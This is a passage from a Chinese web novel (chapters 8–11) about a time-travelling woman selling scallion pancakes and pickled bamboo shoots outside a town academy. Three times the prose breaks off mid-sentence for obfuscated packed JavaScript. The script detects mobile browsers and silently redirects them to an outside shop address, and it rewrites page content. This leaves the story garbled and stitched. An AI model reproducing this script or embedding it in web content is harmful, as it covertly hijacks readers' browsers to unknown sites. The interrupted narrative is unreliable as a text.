车上的人都在等着李秀莲的反馈,过了好一会儿,只听见她缓缓说:“这味道好独特,入口不算惊艳,但是吃过之后还想再吃。”说完,神情期待地看着徐安然,“我能再来一块吗?” 徐安然笑得更开心了,要的就是这样的回答。 她豪爽道:“当然!” 8. 第 8 章 酸笋这个东西,喜欢的人很喜欢,不喜欢的人,那真的接受不了,毕竟密封腌制了好几天,味道除了酸之外,难免还有些臭。 张桂梅就属于接受不了的那一类,半天下不去嘴。 但是为了不让徐安然难堪,她转头花钱买了个葱花饼。 新鲜出炉的葱花饼,还冒着热气,笼布一掀开,那葱香味夹杂着热气,更浓郁了。 “张婶,你是我第一个顾客,这葱花饼就当我送给你了,等会儿到了镇上,我就在你旁边摆摊,如果有哪里做得不对的,您多提醒我两句,可好?”徐安然谦虚地说。 虽说有开店的经验,但是她的摆摊经验为零。 特别是在陌生的朝代。 所以很需要一个有经验的人带着,跟在经常出摊的张桂梅旁边,或许可以省点麻烦。 免费的葱花饼起到了作用,张桂梅开口跟她讲起了在镇子摆摊的规矩。 距离山亭村最近的一个镇叫永和镇,相当于现代二线城市的县城。因为是沿海地带,偶尔会有远道而来的商人经过此处,所以永和镇的经济发展还算不错,有相当一部分的新鲜玩意儿涌入,类别有食品、饰品、玩具等。 在前往永和镇的路上,在路边,徐安然见到一间十分破败的店,看样子好多年未打理了。牌匾都掉了下来。她没将这家店放在心上,只有对小镇景象的好奇。 徐安然第一次见到古代商街。 本以为平平无奇,结果刚穿过入城大门,就被眼前的景象惊呆了。 来往的商贩有些背着行囊边走边吆喝,有些则停在的旁边,捣鼓着自己摊位前的小玩意儿,遇见个来往的人,便热情招呼。就连沿街店铺的掌柜都出来了,逢人就邀请进店。 一切都是徐安然想要看到的模样,因为新玩意儿多,就代表着这里的百姓接受能力高。 那她的酸笋就有市场。 在来的路上,张桂梅已经跟她说了一些摆摊的注意事项,越靠近城门的地方,摆摊所收的租金就越贵,因为城门口的人流量最多。 当然,永和镇也不是什么地方摆摊都收费的。 “记住了哦,傍晚酉时一刻在城门口集合,我最多只会多等你们一刻的时间,否则天就黑了。”城门外,李四叮嘱道。 大家都来过镇上,也都知道每天最晚上车的时间,但是每次李四都会强调一句,已经成为习惯了。这个习惯倒是真的提醒到了徐安然。 永和镇分东西南北四条街,东街商铺多,消费也高,通常饭馆和客栈比较多。西街常是寻常百姓喜欢逛的小街,摆摊的商贩居多,但是在西街摆摊,需要收取一定的摆摊费用,而南街是住宅区,镇上的百姓大多住在南街。这三个地方目前都不是她们会考虑摆摊的地点。 她跟着张婶和李秀敏两姐妹来到一处坐落在北街的书院大门外。这里相较于东南西三街,安静许多。这里大多走动的都是读书人,消费能力不高,但唯一的好处就是不收取摆摊费用。因此很多商贩会选择到这里来碰碰运气,书院的学生午休时会出来买饭吃,所以生意不至于特别的差。 但是这里摆摊有时限,只能在午时摆摊,其余的时间必须走人,不能影响书院里的学生读书。 还有一点是,商贩的腿脚得利索,因为里头的夫子会出来赶人,有时还会叫上学生一起出来催赶。 徐安然腿脚不好,但是她对自己卖的食物有信心。 周时帮她将东西放在指定的摆摊位置,便离开了书院,朝着东街方向走去,他此行的另一个目的是将那天打猎到的猪肉卖给酒楼。 走之前,不忘跟徐安然说:“我会尽快将手上的猪肉卖了,东西很重,等我回来再一起回去。” “知道了,谢谢你啊,周大哥。”徐安然感激道。 如果没有周时的帮忙,她不会这么顺利地来到摆摊的地方。 她们来的时间恰好,张婶卖的是鸡蛋,而且经常来,学生们都眼熟她,有钱的学生会买上两个熟鸡蛋,当作午餐。拮据些的,则会去对面的粥铺,一碗热乎的白粥两文钱,倒也能勉强吃饱。 学生们各自奔向熟悉的摊位,徐安然直接被忽略了。 她再次被现实打败,看着爆冷的摊位,她无奈地蹲下,手撑着脸,不知在想些什么。总之见不到她面上有任何着急,只有郁闷……和无聊。 “安然,你何不吆喝几句?”李秀莲在一旁都替她着急坏了,“再不吆喝,时辰到了就要被赶走了。” “再等等,现在人还不是很多。”徐安然说。她也不知道自己淡定个啥,或许是对自己的东西太自信了吧。 从刚刚的读书声来说,她推测这个书院最起码有上百位学生,现在才出来了二三十位,不够。要吆喝,也得等到人基本上都出来之后。 她曾经看到在学校门口摆摊的视频,学生们一蜂拥出现的时候,才是吆喝的最佳时机。 又等了差不多一刻钟,总算是见到了大批的学生出现在书院门口。 她猛地起身,势头很猛,拿起一旁自制的竹子扩音器,卖力吆喝:“葱花饼,一个三文钱,两个五文钱!买四送一!独家制作,用料良心,味道可口,童叟无欺!!” 这架势,给身旁的姐妹俩吓了。 徐安然这套朗朗上口的顺口溜,再搭配清秀的长相和甜美的嗓音,很快引起了大家的注意。 书院里都是年轻人居多,谁没有一颗爱美之心呢。 即使对她所说的葱花饼不感兴趣,也愿意来问一问。 于是,接下来的时间里,徐安然听到的最多的问题就是…… “可曾婚配?” 但也不缺乏有那么几个真的对她所说的葱花饼感兴趣的人,比白粥香,还比鸡蛋便宜,更比馄饨新鲜。 “刘举,我们俩拼个如何?两个五文钱,比单独买一个便宜些。”在众多看热到的学生中,其中一位吃家对身旁的朋友说道。 书院外好久没来新鲜商贩了,说话的刘聪很想尝一尝鲜。 “行,今日我正好吃不下白粥了,每天中午都是一碗白粥,这几日我读书都使不上劲儿。” 徐安然对于那些言语骚扰自己的食客不搭不理,精准找到想要买葱花饼的客人。 “女老板,给我拿两个。” “得咧。”徐安然一手收钱,一手将笼布掀开,浓郁的葱香味瞬间随着笼布的掀开冲了出来。 人比较多,为了保持饼不受口水和灰尘污染,在卖出去之前,她始终未掀开笼布,这也导致围观的众人此时才见到葱花饼真正的面貌。 金黄的色泽,像是一轮圆月,边缘微微焦黄,中间的葱花随意洒落在饼皮表面,除了模样,大家更在意饼的香味。 “老板,也给我来两个葱花饼吧!”又来一位顾客,这次是被葱花饼的香味吸引而来。 有一就有二,很快,徐安然的摊位便成了书院外生意最好的。 即使只有区区十来人。 刘举和刘聪各自分了一个葱花饼,饼的表面还能看到晶莹的油光,香味好似就是葱这油中散发出来的,狠狠吸一口,香味直击灵魂深处。再狠狠咬下一口,外皮酥脆得能听见“咔咔”声,里头确是软的,葱油随着牙齿的咀嚼一点点渗透出来,伴随着葱花的清香,竟一点儿也不腻。 比白面饼子有味道,更比肉饼子清新。 因为葱花饼在永和镇算是罕见的食物,所以五十个倒是很快卖完了,也得益于她做的葱花饼巴掌大,成年人的食量需要两个才能饱腹。 “两个葱花饼,再搭配一个熟鸡蛋,到老李那儿再买一碗白粥坐着喝,今天的午饭,实在妙。”其中一个对书院外所有摊位都光顾过的书生说道。 与此同时,徐安然也在喝粥。 她也在隔壁老李粥铺那儿买了碗粥,夹了几块酸笋到粥里,边吃边回味。 距离收摊的时间快到了,她的酸笋,今日的主角还没来得及出场呢。 大家本就喜欢她卖的葱花饼,此刻见她又掏出了别的新鲜食物,又像吸铁石一般全围了上来。 “老板姑娘,你这坛子里装的何物?也是吃的吗?”刘举啃食着葱花饼,嘟嘟囔囔道。 “酸笋,我自己腌制的,可以直接吃,也可以做下饭菜,尤其就着白粥,都能吃出山珍海味的感觉。其次也可以用作其他食材的辅料,比如猪肉炒酸笋、鸡蛋炒酸笋等,味道有些酸,如果你们感兴趣,我这里有已经煮好的可以食吃。” 徐安然将试吃的罐子摆到桌子前。 此行出门,还带了一张桌子,是她们家唯一的一张吃饭桌,如果也真成了“吃饭桌”。 出于对葱花饼的信任,大家很快接受了徐安然的试吃邀请。 但部分人吃过之后,第一反应是难以下咽。 首先味道实在不算香,又酸又臭的。 “这东西,怎么下饭啊?”刚吃完葱花饼的刘聪,满脸痛苦地说,“我不太能接受。” 徐安然并不生气,“没关系,这个食物的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知为何,见她笑得那么开心,他心中也发自内心地感到开心。但是看到一群男人围着徐安然问话,问题还与卖的食物不相关,他心中有些不悦。 他走到徐安然身边,可是目前徐安然眼里只有顾客,直接忽略了周时这个大块头。 可是徐安然忽略了,但顾客们没忽略。 “徐老板,你咋摆摊还有护院盯着呢?” 护院? 徐安然看向四周,终于看到站在自己身后的周时。 她没忍住笑了。 周时双手背在身后,站得笔直,眼神扫视一众书生,脸上看不出一点表情,真的像个冷面保镖。 “不是护院,是我朋友。”徐安然笑着解释。 “原来如此呀~” 徐安然没有继续这个话题,本来以为这次酸笋会比较难卖,所以只拿了一罐,不曾想现在居然都快见底了。 此时,书院内走出一位穿着白色袍子,留着胡须的老头。 气质很像书院的夫子,老头下盘很稳,说话声音更是嘹亮。 “所有学生,午休时间准备到了,都快回来午休,另外,摆摊的可以离开了。” 除了徐安然之外,其他商贩对此已经见怪不怪了,连忙收拾起东西。 只有徐安然还站着不动。 沾了徐安然的光,张桂梅和李秀敏两姐妹今天的生意都还不错。她们三见到徐安然站着不动,连忙劝说让她收拾东西。 “安然,快些收拾东西,你再不走,等会儿这老头就要喊人来赶你走了,而且还会没收你的东西。” “没收我的东西?这老头以为他是也是我的老师吗?”徐安然不解,“现在还没到时间呀?” 她凭啥要收拾东西走人,而且她的酸笋还差一点就卖完了,作为一个生意人,第一天如果生意很好的话,是不能剩东西回去的,不吉利。 周时就站在徐安然的身后,他不为所动,以为如果这些人敢动徐安然的摊位,那他也不会客气。 “安然,你别闹,这个人是当今县令老爷的恩师,咱平头老百姓惹不起。” “时辰是府衙定的,如今还没有到时间就赶人走,怎么现代和古代的老师都一个德行。”徐安然默默吐槽,不过她好歹是第一天在这里摆摊,想着以不惹事为主,于是也收拾起了摊位。 但是书院门口的老头好像是盯上了徐安然,或许是因为她是最后一位收摊的人。 他来到徐安然的摊位,手一挥,欲让身后的学生收走徐安然的桌子。 这可是她们家唯一的桌子,收走了她怎么回家跟苏清交代? “你们要做什么?”她警惕问。 9. 第 9 章 “替你收了桌子。” 看几人这架势,徐安然可不信只是简单帮她收桌子这么简单。说没收,才对。 “凭什么?” 虽然这边摆摊不用收摆摊费。但是很明显,她并没有违反规定。 “就凭你已经超时了。” 白胡子老头一脸公正廉洁,不知道的还以为徐安然犯了什么杀头的大错。 “如今到收摊的时辰了吗?作为一名老师,不会连时辰都不会看吧?” 葛学义诧异地看着眼前顶嘴的女娃娃,“你不知在这里摆摊的规矩?” “我只知道,如今距离收摊还有整整一刻钟时间。” “想要在书院附近摆摊,必须提前一刻钟收摊,这是心照不宣的规矩,你是新来的?” “是啊,我就是新来的。”得知这是心照不宣的规矩,徐安然依旧理直气壮地回。但脸上确实爬上了一丝心虚。 一旁的张桂梅也在懊恼,她竟忘了将这事儿告诉徐安然。 葛学义见状,忽地笑了,他挥了挥手,示意学生们停下。 “那这次我就不计较了,下次再来,记得遵守规矩。” 徐安然没想到眼前的老头看着蛮不讲理,但其实还挺将道理的,她本来已经做好争辩的准备了。 就连周时,都已经是备战状态了。 “哦。”徐安然回。 她低头继续收摊,身侧的张桂梅和李秀敏听到葛学义的话,都替徐安然松了口气。 要在书院附近摆摊就得遵守规矩,三次被发现不准时收摊者,进书院黑名单,这也是虽不收摆摊费,商贩却也少的原因。 永和镇不算大,商贩数量不比其他繁华县城。所以时间一长,便没什么人在这边摆摊了,纷纷交了摆摊费用去西街谋生。 学生们内心都很不赞同学院这样的做法,午休的时间本来就短,他们还不能在书院附近吃顿好的。所以之后大多学生都开始选择从自带午饭,书院外渐渐冷清,新的商贩更不会选择来这里摆摊了。 这些事情徐安然在回去的路上才知道。 此时,她收拾东西的动作被葛学义打断,他问:“你这罐子里卖的东西是何物?味道如此奇怪。” 奇怪,这股气味不算香,却让他有些着迷…… “这个?”徐安然指着刚要缠住的酸笋陶罐问。 葛学义点头。 “这叫酸笋,我自己做的。” 葛学义摩挲着下巴,“还是个新鲜的词,何物制成?” “竹笋经过七日的密封浸泡、发酵所得的产物,可作餐桌主食,也能搭配其他食物,吃法多种多样,味道偏酸,开胃下饭。”徐安然耐心解释,“这竹笋是我清晨上山现挖的,带回家后立即剥皮腌制,鲜得很。” “听着倒是不错,能否直接吃?” “酸笋煮熟后方可食用,目前卖的都是生的,但我这儿还有些试吃……” 没等徐安然说完,葛学义便连忙抢先道:“快给我试试。” 难道碰上个酸笋爱好者了?徐安然心想。 手利索地从筐里拿出一根竹签,挑了坛子内最大的一片酸笋递给面前的白胡子老头。 “如果你不嫌弃这是最后剩下的,罐子里剩余的酸笋都可以送给你。” 她本想带着这些试吃的带回家炒肉,但在葛学义问她的时候,就改了想法。她有些私心,这老头在这一带看着很有威望,其他商贩看他的眼神都带着畏惧和尊敬,如果这老头能成为自己忠实的顾客,那么或许会为她吸引来更多顾客。 不,是一定会。 徐安然脸上堆着笑,虽然这老头一开始很不礼貌,但谁会跟财神爷过不去呢~ “你这丫头,刚刚还一副不卑不亢的样子,现在却这样讨好。”还挺能屈能伸…… 葛学义活了大半辈子,有独到的看人眼光。 “是个做大生意的。”他说。 “谢谢。”徐安然欣然接受葛学义的评价,当她将酸笋递给他时,就一直在等待他的反应。 葛学义刚要将酸笋送入口中,便被身后的弟子阻拦。 “老师,这个女子之前从未在学院外出现过,而且这食物我们都未曾听说,您还是别太冲动,待我们先试试……” 一旁的徐安然听到这话,挑了挑眉,没吭声。买酸笋的人不少,有问题早出了。 “你去去去。”他不耐烦地挥手,“我活了大半辈子了,鲜少有不知为何物的食物,而且我已经说是个七分入土的人,我怕个啥?我怀疑你是想抢我东西吃。” 说完,十分果断地将酸笋丢入口中,并且一边咀嚼一边恶狠狠地看着刚刚劝说他的弟子。 “这老头是个狠人,狠起来连自己都骂。”徐安然悄悄跟站在自己身后的周时说。 本来是句调侃的话,但是周时十分认真地看了葛学义一眼,然后认真地回:“他说的是事实。” “噗嗤!”徐安然捂嘴偷笑,“大哥,你真逗。” 于此同时,葛学义还在回味酸笋的味道,丝毫没发现对面二人在小声讨论他。 他也是个老吃家,左顾右盼之际,终于发现即将要离开的粥车。 他看着推车的老板,大喊:“那个米粥老板,你等等。” 米粥老版听到葛学义叫住自己,还以为要收走他的摊位,脚下的步伐更快了。 “哎!你等等啊!”葛学义连忙跟上,老腿都快跑出残影了,也不忘说,“卖我一碗粥。” 米粥老板听到这话,有些迟疑地转过头,但是脚步依旧不停。 “你停一会儿能咋滴?我那么可怕吗?”葛学义继续大喊。 “就是很可怕啊。”米粥老板也大声回道。 “但是我现在要买粥,你停是不停?不停你明天别来这边摆摊了。”他双手叉腰,怒视米粥老板。 见他不往前走了,葛学义总算是放心了,他回过头对着徐安然说:“娃娃老板,你这剩下的酸笋我都包了。连同你坛子里那些试吃的。” 徐安然眼睛更亮了。 “好!我这就给您装好。”打包时,她控制不住地嘴角上扬。 虽然今日也就带来三斤酸笋,但却是个很好的开头。 张桂梅和李秀莲两姐妹还在一旁等着她,她们知道徐安然这些新鲜的食物会好卖,但是没想到会这么好卖,大家在吃过之后,几乎都抢着买,就连一直不把他们这些商人放在眼里的夫子,都买了徐安然的东西。 除了徐安然开心之外,米粥老板也开心。 因为这是葛学义第一次买他们家米粥,说出去怪有面。只可惜现在很多学生都回书院了,只有零星几位学生见到,只能期待这些看到的学生会在学院口口相传。 这边葛学义抱着酸笋开心离开,李秀莲总算敢说话了。看着徐安然,发自内心地夸她厉害。 “你也不错呀,你绣的手帕很精致。” 她没有恭维,不知道这个朝代其他女子的绣工怎么样,但李秀莲姐妹俩的绣工,如果放在现代。是可以评为非遗的实力。 她们姐妹俩平时总被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092706|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里长辈说赚的钱不如吃的多,这还是第一次有人这么认真地夸她们,有些脸红。 “哎呀,都是从小学的呀,不是什么值得提的。” “有一技之长,并且能靠这一技之长养活自己,就是非常厉害。” 虽然不了解李秀莲的家庭情况,但是她觉得这几个时辰跟她们一起相处得很自然,有女孩的俏皮,也有作为商人的机灵。而且两人都是吃货,她最喜欢和吃货交朋友,大都没什么坏心眼,都好好的。 “安然,谢谢你。”李秀莲是个性情中人,听见徐安然这么夸她,要不是碍于人多,就要感动哭了。于是非常大方地送了徐安然一条绣着荷花图案的手帕。 “要收下哦。”李秀莲还是擦了把眼角的泪。 徐安然都懵了,怎么说句实话还能把她说哭了? 不过没等她细想,葛学义又回来了。李秀莲连忙躲到徐安然身后,警惕地看着他。 其实他回来只为问一个问题。 “明日还来这儿吗?” “不来。”徐安然果断道,不带一点儿犹豫。 明明是一句很正常的回话,但葛学义身后的弟子又不爽了。 “你这女子,我们老师好歹是年老的长辈,说话当真不尊敬。” 徐安然收拾东西手一顿,茫然地抬起头:“我平日就这么说话,又哪里不尊敬了?况且他又不是我老师。” “你!”学生哑口无言。 “每个顾客我都正常招待,别想着倚老卖老啊。”徐安然又说。 这牙尖嘴利的样子,倒是让葛学义稀罕得很。如果他有个外孙女的话,估计也是这样的性子。 他身后的弟子还想着争辩,但一看到她身旁死死盯着自己的周时,便蔫儿了。 对方身体素质很强。目前不占上风。 “客……客气点儿嘛。”学生小声说。 “好了。别丢我脸了,人家姑娘说得没错。”葛学义发话了,学生连忙站回到他身后,低着头不再说话。 “那你平日还在哪里摆摊?”葛学义又问。 “实不相瞒,今日是我第一次摆摊,回家之后还有很多工作要准备,所以五日后的这个时间,我再来这儿摆摊。”她回。 腿受伤的部位不出几日便能结痂了,连带着扭伤也能基本好全,不用再麻烦周时。 顾客也是需要钓的,不让他们等着急了,自己怎么能够名正言顺地涨价呢?况且今天只是试卖的价格,她还得回去算算今日的成本,看看要涨价到多少,客人能接受,她也能赚得多。 而且,她要等发酵。 她要等今天买了葱花饼和酸笋的人回去跟朋友、家人说这两道食物,要将那些没吃过的人口味吊足了…… 就好比今日跟着葛学义出来的三位弟子。他们都没能买到葱花饼和酸笋,看着葛学义吃那么香,心中更别提多么好奇了,如今知道徐安然五日后会来,默默记在心里。 在葛学义的目送之下,徐安然几人离开了书院附近。 这是她穿来古代后第一次逛街,虽然不想那么早回去。但手里东西太多,只能下次再逛。 “眼下时间还早,我将东西放回车上,你可以在镇上逛逛。” 周时好像看见了徐安然的遗憾,说的话正中徐安然下怀。 “这,哪里好意思一而再再而三麻烦你……” 此时,周时脑海里闪过四叔对他说过的一句话:感情都是在相互麻烦中产生的。 于是他十分认真地说:“不麻烦!顺手的事。” 10. 第 10 章 徐安然身边,作为旁观者的三人,吃完瓜后自然是要附和几句的。 “安然,你的腿还没好全呢,还是让周大哥帮你拿回去吧~然后我们一起去街上逛逛。你都那么久没出门了,一定有很多想买的东西吧?” “我妹妹说得对。” “是呀,都是一个村的,理应互帮互助。” “我就不跟你们几个年轻人逛了,我先回城门口,记得看日头,准时回来哦。”张桂梅提醒说。 “知道了张婶~”李秀莲俏皮地回。 一切都是这样顺理成章……周时将桌子绑在身上,手里抱着两坛陶罐,即便如此,还要再对徐安然说一句:“背上的背篓也摘了吧。” 她反应过来,连忙摆手,“不用了,我正好想买些东西,背篓可以放。” “也对,那我和张婶先回去了,你慢些走,小心腿上的伤口。” “我有分寸。你拿这么多东西也注意安全。” “嗯。” 徐安然看着他的背影,她早上忙活了好久才搬到门口的东西,在他那儿显得如此轻松。不知怎地,心中竟泛起一丝涟漪……说不清,道不明的。 将这股意味不明的涟漪压在心底,徐安然跟着李家两姐妹来到繁华的东街。 虽然目前不打算在永宁镇盘店,但她还是想看看古代的店铺都是怎么运作的。 要创新,也要结合当地的习惯。 她已将要买的东西记在心里,从最轻便的碗筷开始。 家里没几副好的碗筷,所以第一家去的是瓷器店,店里生意不愠不火,徐安然进店之后,店里的人迅速出现在她面前,用最热情的语气问:“客人您好,欢迎光临玉润瓷器店,您只需把想买的瓷器类型说出来,我便能给您找来。” 伙计热情,徐安然也不废话,一一说道:“一个汤碗,再来两个六寸大的碟子,最便宜耐用的就行。” “得咧,您稍等。”话落,说话的人便消失了,速度之快,徐安然甚至都没机会再补充什么其他条件。 不过,这家店的掌柜还挺厉害,果真给她找来了几副符合她要求的东西,徐安然又在里面选了几个更便宜的,紧接着在李秀敏的帮助下成功砍掉两文钱,最后以十五文的价格全部拿下。 买完了陶瓷器,接下来就是食材了。 家里猪油所剩无几,于是又在李秀敏的带领下,她来到了镇上集蔬菜、水产、肉类于一体的大型民市。这里食材种类丰富,一应俱全,一目了然。 不过现在这个时间段,商户们大多都在摊位上打盹,倒是让徐安然耳根清静。 “安然,你想买什么样肉呀?”李秀敏问。 “肥肉。带回家炸猪油。” “是要炸油然后用其做成葱花饼吗?” “嗯。” “那为何不买芝麻油?价格比猪油便宜,而且还是成品,能省下不少时间,也能省些柴火呢。” “是有考虑过,芝麻油做菜可以,但它油脂少,做出来的饼不够酥脆,口感差了一大截,所以麻烦点儿就麻烦点儿吧。” 李秀莲似懂非懂,但并不影响她觉得徐安然厉害,她夸道:“你真厉害,我今日才知道这两种油的区别。” “以后可以常来我家玩,我有时间都说与你们听。” “好呀!”李秀莲一口答应,“这还是你第一次邀请我们去你家呢,以前我们跟你搭话,你都有些爱答不理的……” “秀莲!”李秀敏连忙阻止妹妹继续说下去。 徐安然低头一笑:“没关系,我以前的性格确实有些闷,这次摔了腿儿,发了个烧,郎中一治,顺带把我这沉闷的病治给好了,哈哈。” “我喜欢这样的你!多笑笑,你笑起来好看。像小兔子。” “我也是。”李秀敏紧接着妹妹的话说。 徐安然蛮感动的,这一趟出来,除了生意不错,还交到了两位朋友。 她家位置偏远,平日里除了小柔,也没什么人到家中玩。以前的她整日抄书,苏清则在自己屋里绣帕,等她的书抄好了,将帕子一并交给她到镇上卖,日复一日。家里没个爱说话的人,时间长了,都显得死气沉沉的,连带着家里的植物和母鸡。 所以她想多交些朋友,家里热热闹闹的,对一个常年在家工作和养病的苏清来说也是一种治疗。 在菜市中买了肥肉,一两六文钱,徐安然干脆买了一斤,这一下直接将所赚的二分之一花出去了。虽然肉疼,但这是必须花的。 在离开之前,徐安然是试探地问五花肉的价钱。 得知一两要二十文,她直接走人。现在她还不配吃这么贵的肉。 最后一样要买的,就是面粉和做菜需要用到的各式各样的调料,永和镇能买到的调料,她都买了。 这里头白面最贵,二十文钱一斤,这还是小镇的价格,估计到了汴京,要翻倍。 这一趟下来,她总算对永和镇的物价了然于心,也终于知道周时借给她的面粉,到底值多少钱…… 内心除了感激,还有感叹。 这大哥真有钱。 - 有钱的大哥此刻正在城门外,望眼欲穿。 虽然知道徐安然不是第一次来镇上,但周时还是不由地有些担忧。 直到看见熟悉的身影出现在视线内……他不自觉嘿笑两声,然后小跑到几人面前,接过她们手里的东西。 “我帮你们拿上车。” “谢谢周大哥。”李秀莲大方地道谢,大家都是一个村的,并不觉得有什么。 这又让徐安然心中好一阵感慨,心想这样有力气、眼里有活儿的人是她店里的伙计的话……一定能包揽掉店里不少力气活。那样可以省下好多请人的费用开支…… 徐安然一直盯着周时的背影看,丝毫没发现其他人投来的异样和不解的目光。 直到李秀莲大声咳了两声,她才回过神来。 她尬笑两声:“不好意思啊,刚刚想到了些开心的事。” 她的语气有些心虚,很怕周时看出来自己贪图他这个人的一把子力气。在现代的时候,常有朋友说她看中意的员工时表情像个奸商,希望周时不要也这么认为。 “没事。”周时看起来比她还害羞,回去的路上,一直不敢看她。 这让徐安然觉得莫名其妙。 于此同时,永和镇西街的书院内,几名学生正聚在一起激烈探讨,这样的场景在平日的书院内并不奇怪,但今天学生们探讨的内容不是之乎者也,而是……到底用什么油和面做的葱花饼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092707|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴掌大的葱花饼,两口就差不多没了,此刻徐安然都快到家了,却还有没吃完的。 “吵吵闹闹成何体统!”在学生的讨论声中,突然出现一道年轻但颇有威严的声音。 学生们回头,门外站着的,是一个身姿挺拔的中年男子。对于学生来说,此人并不陌生。要说葛学义是院外摆摊的商贩们的噩梦,那么他就是这所书院里所有学生们的噩梦。 平日书院快到散学时辰,即使有些吵闹声,他并不会刻意制止,因为学生们的话题都在书本上,但是今日他却听到了什么……葱花饼。这明显是一道食物的名字,虽没不知道是个什么食物,但书院何时这样没规矩过。 于是作为整个学院最严肃的老师,他必须出来停止这样的行为。 李在一言不发扫视着教室内的学生们,不怒自威。突然,他的视线在其中某个学生手中的饼上停留片刻,随后不屑地移过视线,不过是一个模样平平无奇的饼罢了,甚至连肉都看不到,也不知道平日里这群自视清高的学生为什么要讨论这张普通的饼。 这道不屑的眼神被对面的苏彦宇捕捉到,他连忙辩解:“老师,我们没有在闹。我们只是在讨论一道美食。” 自古书院都不缺头铁的学生,更别提这位家里有点小钱的苏彦宇,他一个人包揽了徐安然筐里的十个葱花饼,手上拿着葱花饼的人也是他。 作为一个大方的人,他将买到的十个葱花饼尽数分给了其余没有买到的学生,半个半个分。也正是因为这样,除了他之外,还有几位学生主动站出来为葱花饼正名。 平日里大家对他毕恭毕敬,都不然忤逆他,但是今天却为了这葱花饼而辩解,倒是让李在十分好奇。 “你过来。”他伸手,指着最先说话的苏彦宇。 苏彦宇连忙将自己最后一个葱花饼收起来,然后慢吞吞地走到苏在身边,心里还是有些杵的。 “快点儿,磨磨唧唧的。”苏在实在没什么耐心,说完后,抬脚快步走到苏彦宇身边,一把夺过他怀中的葱花饼,并问,“这个多少钱?” 李彦宇心疼手上的葱花饼飞了,欲哭无泪,又不敢抢回来。 “多大点儿事啊给你委屈成这样,不就一个饼吗?”说完,直接丢给李彦宇一个钱袋子,“多少钱,自己掏……但别多拿了。” 平日里的苏在是个极好的老师,有学习上的疑惑问他准能给出解答。虽然性格急躁了些,教课时容易暴走,偶尔体罚学生,但也只是打几次手心就完了,没哪次是动真格的。他还是永和镇最年轻的进士,还有一片孝心,要不是家里母亲生病需要照顾,他不会放弃学业回到这小镇教书。可以说是真的凭实力得到大家的尊重。 但今天他却做了件不符合他人设的事情,就是抢学生大饼。 说抢,其实不然,他还给了钱,最多算强买强卖,这要是告去官府,也只是让双方私下解决。 今天书院里的学生和夫子都挺反常的,都因为两样新鲜的食物。 李彦宇知道葱花饼是守护不住了,心中庆幸还好将酸笋藏了起来,没被苏在发现。 说到酸笋,就不得不提到书院的另一位夫子。平日里最有时间秩序,必须要看着最后一个学生离开才离开的葛学义,今天甚至没到书院散学时间就已经不见了人影。 11. 第 11 章 已经到家的徐安然不知道自己仅仅摆摊了一个时辰,就能让书院如此热火朝天。 她此时正在跟苏清生动描绘今天摆摊所发生的事情。 她手舞足蹈地,“娘,你是没见到今天那个场面,热闹的咧,我要走了都还有学生追出来问我什么时候再去摆摊,哈哈哈。” 这么多天来,这是徐安然第一次发自内心地笑,苏清被她的快乐传染,也露出了这几天来最灿烂的笑容。她坐在柿子树下,手上是绣了一半的帕子,傍晚金色的光打在她身上,人暖洋洋的,心也是。 “好了,你快坐下歇一歇,瞧晒得满脸汗珠。腿上的伤口没裂开吧?”她起身,将好的椅子让给徐安然。 “没事儿,娘给我找了最好的大夫,而且您每天都帮我换药,伤口早就结痂了。所以娘,我蹲着就行。”她立即蹲在苏清身边,撑着脸看着已经绣了一半的帕子。 苏清的绣工也不错。绣的样式比李秀敏两姐妹的更复杂些。就是年纪摆在这,绣得比较慢。 她握住苏清的手,热乎乎的,很温暖,“娘,这绣帕您就慢慢绣,我过几日才再次去镇上摆摊,不用着急。别再累坏了身子,抓药的钱可比绣帕赚的钱更高哦。” 从小在孤儿院见惯了生死,很多被家长遗弃的孩子大多身上都或多或少带有遗传性疾病,所以她始终认为,健康才是唯一的财富,赚再多的钱都不如一个健康的身体来得重要。 “好。”苏清回握住徐安然,“你就是家里的主心骨,一切都听我们家安然的。” “这就对啦!您继续在院里晒太阳,我去做饭,今晚会有超级好吃的肉哦!” 她从结束摆摊时,就一直在想晚饭做什么。 这次虽然没在镇上买到什么蔬菜和肉,但是她有面粉,还有前两天周时送来的猪肉,配料齐全的情况下,一道老少皆宜的美味菜肴在脑海中缓慢出现…… 说做就做,她右手拿着刀,抬起来将门口的猪肉割下一半。古代没有存储食物的东西,为了让肉能存放得长一些,徐安然只好挂在通风的地方,初春蚊虫还不算多,暂时还不需要保护起来。 院子里的兔子一直叫,为此,她只能暂时放下手中的肉,洗了把手,从坛子里取了点绿色菜叶。 菜叶就没有猪肉那么好命了,放两天基本上都蔫儿得差不多了。 每天在山间吃新鲜野菜的兔子哪里能接受蔫儿吧唧的菜叶子,一个两个三个都在闹绝食。只喝水,喝完之后三只挤在一起,眼珠子跟着徐安然的动作而转动。 